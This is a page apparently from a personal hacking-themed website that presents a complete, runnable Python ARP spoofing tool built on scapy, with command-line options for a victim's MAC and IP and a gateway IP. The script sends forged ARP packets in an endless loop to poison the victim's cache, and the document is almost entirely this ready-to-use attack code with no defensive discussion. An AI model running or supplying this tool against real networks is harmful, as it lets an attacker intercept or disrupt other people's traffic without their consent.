[MENU] | |||||||||
[THOUGHTS] | [TECH RESOURCES] | [TRASH TALK] | |||||||
[DANK MEMES] | [FEATURED ARTISTS] | [W] |
Here is a ARP spoofing demo with usage of scapy.
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- """
-
- * ***
- ** ***
- ** **
- ** **
- ** ** ****
- *** **** ** *** *** ** * *** * *** ****
- * *** * *** * ** * *** * *** ** * **** **** **** *
- * *** * **** *** *** * *** ** ** ** ** ****
- ** *** ** ** ** ** *** ** ** ** ** **
- ******** ** ** ** ******** ** ** ** ** **
- ******* ** ** ** ******* ** ** ** ** **
- ** ** ** ** ** ** ** ** ** **
- **** * *** * ** ** **** * ** ****** ** **
- ******* ******* ** ** ******* *** * **** *** ***
- ***** ***** ** ** ***** *** *** ***
- *
- *
- *
- *
- Author: @echel0n_1881
-
- ~~~~~~~~~~~~~~~~~~~~~~
-
- ARP spoof tool.
-
- libraries:
- scapy : `pip install scapy`
- time : builtin
-
- usage: arp_spoofer.py [-h] [--victim VICTIM] [--gateway GATEWAY]
- [--victimip VICTIMIP]
-
- optional arguments:
- -h, --help show this help message and exit
- --victim VICTIM Chosen MAC address of victim.
- --gateway GATEWAY Chosen IP of router/switch/modem
- --victimip VICTIMIP Chosen IP address of the victim
-
-
- """
-
- import argparse
- from scapy.all import ARP, send
-
-
- def spoof(victimMacAddress, gatewayIP, victimIP):
-
- # ARP REQUEST'S OP CODE
- OPCODE = 1
- print(gatewayIP)
- print(victimIP)
- print(victimMacAddress)
- packet = ARP(
- op=OPCODE,
- psrc=gatewayIP,
- pdst=victimIP,
- hwdst=victimMacAddress)
-
- while 1:
- send(packet)
- # optional
- # time.sleep(1)
-
-
- def parser():
-
- # our wise parser
- parser = argparse.ArgumentParser()
-
- # adding arguments
- parser.add_argument(
- "--victim",
- help="Chosen MAC address of victim.",
- type=str)
- parser.add_argument(
- "--gateway",
- help="Chosen IP of router/switch/modem",
- type=str)
- parser.add_argument(
- "--victimip",
- help="Chosen IP address of the victim",
- type=str)
-
- args = parser.parse_args()
-
- # post values to our process
-
- return args.victim, args.gateway, args.victimip
-
-
- if __name__ == "__main__":
- # get values from arguments
- victim, gateway, victimip = parser()
-
- print("[+] Welcome to Echelon's Arp Spoofer")
- print("[!] Chosen options are:")
- print("\t Victim's Mac Address: ", victim)
- print("\t Victim's IP: ", victimip)
- print("\t Gateway's IP: ", gateway)
-
- answer = input("Shall we continue? [Y/n] ")
- print("")
- answer = str(answer)
-
- if answer == "Y" or answer == "y":
- # start spoofing already
- spoof(victim, gateway, victimip)
- else:
- print("[EXITING] Goodbye...")
- exit(1)